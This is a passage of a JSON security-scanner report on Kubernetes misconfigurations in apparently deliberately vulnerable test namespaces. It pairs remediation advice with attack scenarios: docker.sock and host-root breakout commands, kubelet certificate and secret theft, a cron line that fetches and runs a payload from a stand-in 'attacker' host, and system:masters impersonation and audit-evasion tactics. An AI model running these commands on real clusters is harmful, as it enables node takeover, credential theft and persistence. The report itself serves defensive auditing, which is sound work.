[
  {
    "id": "KUBE-ESCAPE-005:Deployment:vulnerable:socket-mounts-app:docker-sock",
    "rule_id": "KUBE-ESCAPE-005",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Docker socket mounted into `Deployment/vulnerable/socket-mounts-app` (volume `docker-sock` → `/var/run/docker.sock`)",
    "description": "Workload `Deployment/vulnerable/socket-mounts-app` mounts the Docker UNIX socket `/var/run/docker.sock` from the node into the container (volume `docker-sock`). The Docker daemon listens on this socket as root and exposes the entire Docker Engine API, including `POST /containers/create`, which lets any client launch a new container with arbitrary mounts, devices, capabilities, and host-namespace settings.\n\nMounting docker.sock is equivalent to giving the workload an unrestricted root shell on the node. There is no permission boundary inside the Docker API; a \"read-only\" mount of the socket file does not help because the socket is a request channel, not a stored object. Once you can `connect()` to it, you can issue any command. The OWASP Docker Security Cheat Sheet calls this the top-priority anti-pattern, and HackTricks documents the breakout as a one-liner.\n\nFrom inside the container, install the Docker CLI (or use `curl --unix-socket`) and run `docker run -v /:/host --privileged --pid=host -it alpine chroot /host`. The new container mounts the host root, runs as host root, and can drop a backdoor into `/etc/cron.d/`, steal `/var/lib/kubelet/pki/`, or `nsenter -t 1 -a` to land on the host directly.",
    "resource": {
      "kind": "Deployment",
      "name": "socket-mounts-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/socket-mounts-app`"
    },
    "impact": "Equivalent to root on the node: launch any container with any mount, mount the host filesystem, steal kubelet certs, and pivot to the entire cluster.",
    "attack_scenario": [
      "Gain code execution in the pod with docker.sock mounted.",
      "Verify: `ls -la /var/run/docker.sock; curl --unix-socket /var/run/docker.sock http://localhost/version`.",
      "Spawn a privileged container that mounts host root: `docker run -it --rm -v /:/host alpine chroot /host /bin/sh`.",
      "Read kubelet client cert: `cat /host/var/lib/kubelet/pki/kubelet-client-current.pem` and use it to talk to the apiserver as `system:node:\u003cnodeName\u003e`.",
      "Persist by writing an SSH key to `/host/root/.ssh/authorized_keys` or installing a systemd service."
    ],
    "evidence": {
      "path": "/var/run/docker.sock",
      "volume": "docker-sock"
    },
    "remediation": "Remove the docker.sock hostPath mount; do not run sibling-container patterns on Kubernetes.",
    "remediation_steps": [
      "Identify why the workload talks to Docker. The usual suspects are a CI runner, log shipper, or build system. Replace with a Kubernetes-native alternative: Buildah/Kaniko/Buildkit-rootless for builds, the Kubernetes API for pod orchestration, fluent-bit's tail input for logs.",
      "Remove the `hostPath: /var/run/docker.sock` volume and corresponding `volumeMount`.",
      "Apply Pod Security Admission `baseline` to the namespace (forbids hostPath volumes) and/or use a Kyverno/OPA policy that explicitly denies this path.",
      "Validate: `kubectl get deployment/socket-mounts-app -n vulnerable -o jsonpath='{.spec.template.spec.volumes}' | jq` should not contain `/var/run/docker.sock`."
    ],
    "references": [
      "https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html",
      "https://hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html",
      "https://blog.quarkslab.com/why-is-exposing-the-docker-socket-a-really-bad-idea.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
    ],
    "learn_more": [
      {
        "title": "OWASP Docker Security Cheat Sheet — Rule #1",
        "url": "https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html"
      },
      {
        "title": "HackTricks — Abusing Docker Socket for Privilege Escalation",
        "url": "https://hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html"
      },
      {
        "title": "Quarkslab — Why exposing the Docker socket is a really bad idea",
        "url": "https://blog.quarkslab.com/why-is-exposing-the-docker-socket-a-really-bad-idea.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.12",
        "title": "Minimize the admission of HostPath volumes",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:hostPath"
    ]
  },
  {
    "id": "KUBE-ESCAPE-006:Deployment:vulnerable:risky-app:rootfs",
    "rule_id": "KUBE-ESCAPE-006",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Root filesystem (`/`) mounted from host into `Deployment/vulnerable/risky-app`",
    "description": "Workload `Deployment/vulnerable/risky-app` mounts the host's root filesystem (`hostPath: /`) inside the container via volume `rootfs`. Combined with the container's UID (typically root), this exposes the entire node filesystem: kubelet credentials, every other pod's mounted secrets, the container runtime state, and on control-plane nodes the static-pod manifests under `/etc/kubernetes/manifests`.\n\nMounting `/` is one of the few configurations that, by itself, guarantees host compromise without requiring a CVE, kernel exploit, or even the `privileged` flag. The kubelet stores per-pod secrets at `/var/lib/kubelet/pods/\u003cuid\u003e/volumes/kubernetes.io~secret/\u003cname\u003e/...` in cleartext (tmpfs); a read-only host-root mount is enough to copy them all out. A read-write mount turns this into trivial persistence: write to `/etc/cron.d/`, modify `/etc/sudoers`, drop a shared-object into `/etc/ld.so.preload`, or, on a control-plane node, drop a malicious manifest into `/etc/kubernetes/manifests/` which the kubelet then runs as a static pod with full privileges.\n\nA single command sequence (`chroot /host`, `cat /host/var/lib/kubelet/pki/kubelet-client-current.pem`, then `kubectl --kubeconfig=\u003ccrafted\u003e get secrets -A`) yields full secret enumeration on every pod on the node. Public exploit aids (`kubeletmein`, `peirates`) automate the chain.",
    "resource": {
      "kind": "Deployment",
      "name": "risky-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/risky-app`"
    },
    "impact": "Read every secret on the node; write to host cron, SSH, kubelet PKI, or static-pod manifests; persistence and pivot to cluster-admin.",
    "attack_scenario": [
      "RCE in the pod that mounts `/` at `/host`.",
      "Steal kubelet creds: `cp /host/var/lib/kubelet/pki/kubelet-client-current.pem /tmp/k.pem`.",
      "Enumerate other pods' secrets: `find /host/var/lib/kubelet/pods -path '*/kubernetes.io~secret/*' -type f -exec cat {} \\;`.",
      "Persist: `echo '* * * * * root curl http://attacker/x|sh' \u003e /host/etc/cron.d/k8s` (RW) or, on a control-plane node, `cp evil-pod.yaml /host/etc/kubernetes/manifests/`.",
      "With kubelet creds, run `kubectl --client-certificate=/tmp/k.pem ...` and harvest cluster secrets."
    ],
    "evidence": {
      "path": "/",
      "volume": "rootfs"
    },
    "remediation": "Never mount `/` from the node. Use specific subpaths or projected volumes if absolutely required.",
    "remediation_steps": [
      "Identify the actual file or directory the workload needs and replace the mount with the narrowest possible path (and `readOnly: true`).",
      "Where possible, replace hostPath entirely with a CSI-backed volume, ConfigMap, Secret, or projected volume.",
      "Apply Pod Security Admission `baseline` to the namespace (forbids hostPath). For unavoidable cases, allowlist via Kyverno/Gatekeeper that pins the path and `readOnly: true`.",
      "Validate: `kubectl get deployment/risky-app -n vulnerable -o jsonpath='{.spec.template.spec.volumes[*].hostPath.path}'` does not contain `/`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/storage/volumes/#hostpath",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.quarkslab.com/kubernetes-and-hostpath-a-love-hate-relationship.html",
      "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Volumes (hostPath)",
        "url": "https://kubernetes.io/docs/concepts/storage/volumes/#hostpath"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Quarkslab — Kubernetes and HostPath: a Love-Hate Relationship",
        "url": "https://blog.quarkslab.com/kubernetes-and-hostpath-a-love-hate-relationship.html"
      },
      {
        "title": "Bishop Fox — Bad Pods: Kubernetes Pod Privilege Escalation",
        "url": "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.12",
        "title": "Minimize the admission of HostPath volumes",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:hostPath"
    ]
  },
  {
    "id": "KUBE-PRIVESC-008:ServiceAccount/rbac-fixtures/sa-impersonate::groups",
    "rule_id": "KUBE-PRIVESC-008",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide `impersonate` permission on `ServiceAccount/rbac-fixtures/sa-impersonate`",
    "description": "Subject ServiceAccount/rbac-fixtures/sa-impersonate has the `impersonate` verb on `users/groups/serviceaccounts` via ClusterRoleBinding `crb-impersonate` → ClusterRole `cr-impersonate`. Cluster-wide: applies to every current and future namespace.\n\nKubernetes' impersonation lets a request set `Impersonate-User/Impersonate-Group` headers (or `kubectl --as`) so the API server processes the request as a different identity. The Kubernetes project flags this in `RBAC Good Practices` as one of three verbs (alongside `bind` and `escalate`) that override normal RBAC limits.\n\nMost damaging is the ability to impersonate the `system:masters` group, which is hardcoded inside kube-apiserver to bypass RBAC entirely. There is no Role or RoleBinding that grants `system:masters` membership; the apiserver simply trusts the assertion. `kubectl --as=admin --as-group=system:masters get secrets -A` runs as cluster-admin, full stop. Impersonation is also stealthier than a binding change because audit logs show `user.username` as the original subject.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-impersonate",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-impersonate",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Act as any user/group/ServiceAccount in Cluster-wide; impersonating `system:masters` bypasses all RBAC checks irrevocably.",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i impersonate users --as=sa-impersonate -A`.",
      "They run `kubectl --as=admin --as-group=system:masters get clusterrolebindings` to confirm `system:masters` impersonation succeeds.",
      "They impersonate the highest-privileged ServiceAccount they can find (e.g. `system:serviceaccount:kube-system:clusterrole-aggregation-controller`) and exfiltrate Secrets cluster-wide.",
      "They establish persistence by creating a benign-looking ClusterRoleBinding via the impersonated identity (audit logs blame the impersonated SA, not the attacker).",
      "They optionally add their own user to a privileged group via OIDC group claims, providing identity-layer persistence that survives RBAC remediation."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "groups"
      ],
      "scope": "cluster",
      "source_binding": "crb-impersonate",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-impersonate",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "impersonate"
      ]
    },
    "remediation": "Remove `impersonate` entirely; if a SaaS console truly needs it, gate on `resourceNames` and never grant it on `groups`.",
    "remediation_steps": [
      "Remove `impersonate` on `users`, `groups`, and `serviceaccounts`. The vast majority of workloads have no need for impersonation.",
      "If impersonation is genuinely required, scope to `users` only (not `groups`, and never allow `system:masters`), use `resourceNames` to allow only specific identities, and never grant cluster-wide.",
      "Enable Impersonate-* audit policy at `Metadata` level minimum so every impersonated request is logged with the original caller. SIEM-alert on impersonation of any `system:` user or group.",
      "Verify with `kubectl auth can-i impersonate '*' --as=sa-impersonate -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#privilege-escalation-risks",
      "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — User Impersonation",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation"
      },
      {
        "title": "Kubernetes — RBAC Good Practices: Privilege escalation risks",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#privilege-escalation-risks"
      },
      {
        "title": "Kubernetes — Auditing",
        "url": "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1550",
        "name": "Use Alternate Authentication Material",
        "url": "https://attack.mitre.org/techniques/T1550/"
      },
      {
        "id": "T1134",
        "name": "Access Token Manipulation",
        "url": "https://attack.mitre.org/techniques/T1134/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-009:ServiceAccount/cutres/cutres-detour::clusterroles",
    "rule_id": "KUBE-PRIVESC-009",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide `bind/escalate` on roles bypasses RBAC (`ServiceAccount/cutres/cutres-detour`)",
    "description": "Subject ServiceAccount/cutres/cutres-detour has the `bind` or `escalate` verb on `roles/clusterroles` via ClusterRoleBinding `cutres-detour-bind` → ClusterRole `cutres-detour-bind`. Cluster-wide: applies to every current and future namespace.\n\nKubernetes' RBAC normally enforces a privilege-escalation guard: you cannot create a Role/RoleBinding granting permissions you do not already hold. The `escalate` and `bind` verbs are explicit, documented exceptions to that guard.\n\n`escalate` lets the subject author or modify a Role/ClusterRole with verbs and resources they don't currently possess. In practice, they rewrite an existing Role they're already bound to and instantly inherit whatever they wrote into it.\n\n`bind` lets the subject create a RoleBinding/ClusterRoleBinding referencing a (Cluster)Role they don't already hold. With `bind` on `clusterroles`, an attacker creates a ClusterRoleBinding from themselves to `cluster-admin` and is done in one step.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-detour",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cutres-detour-bind",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Defeat the API-level escalation guard in Cluster-wide; subject can grant itself any (Cluster)Role's permissions, including `cluster-admin`.",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i bind clusterroles --as=cutres-detour -A`.",
      "They write a one-line ClusterRoleBinding from their identity (or a SA they control) to the `cluster-admin` ClusterRole and `kubectl apply` it.",
      "They re-use the same token (ClusterRoleBindings take effect immediately on next request) and have full cluster control.",
      "Alternatively, with `escalate` on `clusterroles`, they `kubectl edit clusterrole/\u003crole-they-already-have\u003e` and add `*` verbs/resources/apiGroups, retaining the same binding.",
      "They optionally name the new ClusterRoleBinding innocuously (e.g. `cluster-monitor-binding`) so the change is less visible to operators reviewing `kubectl get clusterrolebindings`."
    ],
    "evidence": {
      "api_groups": [
        "rbac.authorization.k8s.io"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "clusterroles"
      ],
      "scope": "cluster",
      "source_binding": "cutres-detour-bind",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cutres-detour-bind",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "bind"
      ]
    },
    "remediation": "Remove `bind` and `escalate` from non-admin identities; gate any legitimate need behind admission policy that rejects bindings to `cluster-admin` or system roles.",
    "remediation_steps": [
      "Audit every Role/ClusterRole that includes `bind` or `escalate` with `kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.verbs[]? | IN(\"bind\",\"escalate\"))'`.",
      "Remove the verbs from this Role/ClusterRole. If operators legitimately need them (Argo CD, Crossplane, OperatorHub), scope `bind` with `resourceNames` to a list of low-privilege ClusterRoles.",
      "Add a ValidatingAdmissionPolicy (or Kyverno) that rejects creation of any ClusterRoleBinding referencing `cluster-admin/admin/system:masters` outside a tiny admin allowlist.",
      "Verify with `kubectl auth can-i bind clusterroles --as=cutres-detour -A` and `kubectl auth can-i escalate roles --as=cutres-detour -A` both returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/",
      "https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Authorization: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Aqua Security — Kubernetes RBAC: How to Avoid Privilege Escalation",
        "url": "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/"
      },
      {
        "title": "SCHUTZWERK — Kubernetes RBAC: Paths for Privilege Escalation",
        "url": "https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1548",
        "name": "Abuse Elevation Control Mechanism",
        "url": "https://attack.mitre.org/techniques/T1548/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-009:ServiceAccount/deepchain-tenant/deepchain-binder::clusterroles",
    "rule_id": "KUBE-PRIVESC-009",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide `bind/escalate` on roles bypasses RBAC (`ServiceAccount/deepchain-tenant/deepchain-binder`)",
    "description": "Subject ServiceAccount/deepchain-tenant/deepchain-binder has the `bind` or `escalate` verb on `roles/clusterroles` via ClusterRoleBinding `deepchain-binder-bind` → ClusterRole `deepchain-binder-bind`. Cluster-wide: applies to every current and future namespace.\n\nKubernetes' RBAC normally enforces a privilege-escalation guard: you cannot create a Role/RoleBinding granting permissions you do not already hold. The `escalate` and `bind` verbs are explicit, documented exceptions to that guard.\n\n`escalate` lets the subject author or modify a Role/ClusterRole with verbs and resources they don't currently possess. In practice, they rewrite an existing Role they're already bound to and instantly inherit whatever they wrote into it.\n\n`bind` lets the subject create a RoleBinding/ClusterRoleBinding referencing a (Cluster)Role they don't already hold. With `bind` on `clusterroles`, an attacker creates a ClusterRoleBinding from themselves to `cluster-admin` and is done in one step.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-binder",
      "namespace": "deepchain-tenant"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "deepchain-binder-bind",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Defeat the API-level escalation guard in Cluster-wide; subject can grant itself any (Cluster)Role's permissions, including `cluster-admin`.",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i bind clusterroles --as=deepchain-binder -A`.",
      "They write a one-line ClusterRoleBinding from their identity (or a SA they control) to the `cluster-admin` ClusterRole and `kubectl apply` it.",
      "They re-use the same token (ClusterRoleBindings take effect immediately on next request) and have full cluster control.",
      "Alternatively, with `escalate` on `clusterroles`, they `kubectl edit clusterrole/\u003crole-they-already-have\u003e` and add `*` verbs/resources/apiGroups, retaining the same binding.",
      "They optionally name the new ClusterRoleBinding innocuously (e.g. `cluster-monitor-binding`) so the change is less visible to operators reviewing `kubectl get clusterrolebindings`."
    ],
    "evidence": {
      "api_groups": [
        "rbac.authorization.k8s.io"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "clusterroles"
      ],
      "scope": "cluster",
      "source_binding": "deepchain-binder-bind",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "deepchain-binder-bind",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "bind"
      ]
    },
    "remediation": "Remove `bind` and `escalate` from non-admin identities; gate any legitimate need behind admission policy that rejects bindings to `cluster-admin` or system roles.",
    "remediation_steps": [
      "Audit every Role/ClusterRole that includes `bind` or `escalate` with `kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.verbs[]? | IN(\"bind\",\"escalate\"))'`.",
      "Remove the verbs from this Role/ClusterRole. If operators legitimately need them (Argo CD, Crossplane, OperatorHub), scope `bind` with `resourceNames` to a list of low-privilege ClusterRoles.",
      "Add a ValidatingAdmissionPolicy (or Kyverno) that rejects creation of any ClusterRoleBinding referencing `cluster-admin/admin/system:masters` outside a tiny admin allowlist.",
      "Verify with `kubectl auth can-i bind clusterroles --as=deepchain-binder -A` and `kubectl auth can-i escalate roles --as=deepchain-binder -A` both returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/",
      "https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Authorization: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Aqua Security — Kubernetes RBAC: How to Avoid Privilege Escalation",
        "url": "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/"
      },
      {
        "title": "SCHUTZWERK — Kubernetes RBAC: Paths for Privilege Escalation",
        "url": "https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1548",
        "name": "Abuse Elevation Control Mechanism",
        "url": "https://attack.mitre.org/techniques/T1548/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-009:ServiceAccount/rbac-fixtures/sa-bind-escalate::roles,clusterroles",
    "rule_id": "KUBE-PRIVESC-009",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide `bind/escalate` on roles bypasses RBAC (`ServiceAccount/rbac-fixtures/sa-bind-escalate`)",
    "description": "Subject ServiceAccount/rbac-fixtures/sa-bind-escalate has the `bind` or `escalate` verb on `roles/clusterroles` via ClusterRoleBinding `crb-bind-escalate` → ClusterRole `cr-bind-escalate`. Cluster-wide: applies to every current and future namespace.\n\nKubernetes' RBAC normally enforces a privilege-escalation guard: you cannot create a Role/RoleBinding granting permissions you do not already hold. The `escalate` and `bind` verbs are explicit, documented exceptions to that guard.\n\n`escalate` lets the subject author or modify a Role/ClusterRole with verbs and resources they don't currently possess. In practice, they rewrite an existing Role they're already bound to and instantly inherit whatever they wrote into it.\n\n`bind` lets the subject create a RoleBinding/ClusterRoleBinding referencing a (Cluster)Role they don't already hold. With `bind` on `clusterroles`, an attacker creates a ClusterRoleBinding from themselves to `cluster-admin` and is done in one step.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-bind-escalate",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-bind-escalate",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Defeat the API-level escalation guard in Cluster-wide; subject can grant itself any (Cluster)Role's permissions, including `cluster-admin`.",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i bind clusterroles --as=sa-bind-escalate -A`.",
      "They write a one-line ClusterRoleBinding from their identity (or a SA they control) to the `cluster-admin` ClusterRole and `kubectl apply` it.",
      "They re-use the same token (ClusterRoleBindings take effect immediately on next request) and have full cluster control.",
      "Alternatively, with `escalate` on `clusterroles`, they `kubectl edit clusterrole/\u003crole-they-already-have\u003e` and add `*` verbs/resources/apiGroups, retaining the same binding.",
      "They optionally name the new ClusterRoleBinding innocuously (e.g. `cluster-monitor-binding`) so the change is less visible to operators reviewing `kubectl get clusterrolebindings`."
    ],
    "evidence": {
      "api_groups": [
        "rbac.authorization.k8s.io"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "roles",
        "clusterroles"
      ],
      "scope": "cluster",
      "source_binding": "crb-bind-escalate",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-bind-escalate",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "bind",
        "escalate"
      ]
    },
    "remediation": "Remove `bind` and `escalate` from non-admin identities; gate any legitimate need behind admission policy that rejects bindings to `cluster-admin` or system roles.",
    "remediation_steps": [
      "Audit every Role/ClusterRole that includes `bind` or `escalate` with `kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.verbs[]? | IN(\"bind\",\"escalate\"))'`.",
      "Remove the verbs from this Role/ClusterRole. If operators legitimately need them (Argo CD, Crossplane, OperatorHub), scope `bind` with `resourceNames` to a list of low-privilege ClusterRoles.",
